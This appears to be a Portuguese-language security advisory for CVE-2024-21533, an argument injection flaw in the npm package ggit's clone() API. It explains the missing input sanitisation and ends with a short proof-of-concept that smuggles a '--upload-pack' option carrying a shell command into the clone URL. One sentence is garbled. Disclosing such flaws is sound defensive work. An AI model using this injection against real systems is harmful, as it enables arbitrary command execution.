Vulnerabilidade de Injeção de Argumento CVE-2024-21533 no ggit

ggit descreve-se como:

Local promise-returning git command wrappers

Recursos:

• Código-fonte do projeto no GitHub: https://github.com/bahmutov/ggit
• Pacote npm do projeto: https://www.npmjs.com/package/ggit

Artigo sobre esta vulnerabilidade de injeção de argumento: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Contexto sobre exploração

Estou reportando uma vulnerabilidade de Injeção de Argumento no pacote npm ggit.

Esta vulnerabilidade manifesta-se com a API clone() da biblioteca, que permite especificar a URL remota para clonar e o arquivo em disco para clonar. No entanto, a biblioteca não sanitiza a entrada do usuário nem valida um esquema de URL fornecido, nem passa adequadamente os flags de linha de comando para o binário git usando os caracteres POSIX de travessão duplo (--) para comunicar o fim das opções.

Assim, permitindo que usuários explorem uma vulnerabilidade de injeção de argumento no Git devido à opção de linha de comando --upload-pack que resulta na execução de comandos arbitrários. (outPath) para clonar e então a vulnerabilidade se aplica.

Exploração

1. Instale [email protected] ou anterior
2. Estabeleça o seguinte POC:

const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});

3. Observe o novo arquivo criado no disco em /tmp/pwned

Contribuindo

Por favor, consulte CONTRIBUTING para diretrizes sobre como contribuir com este projeto.

Autor

Liran Tal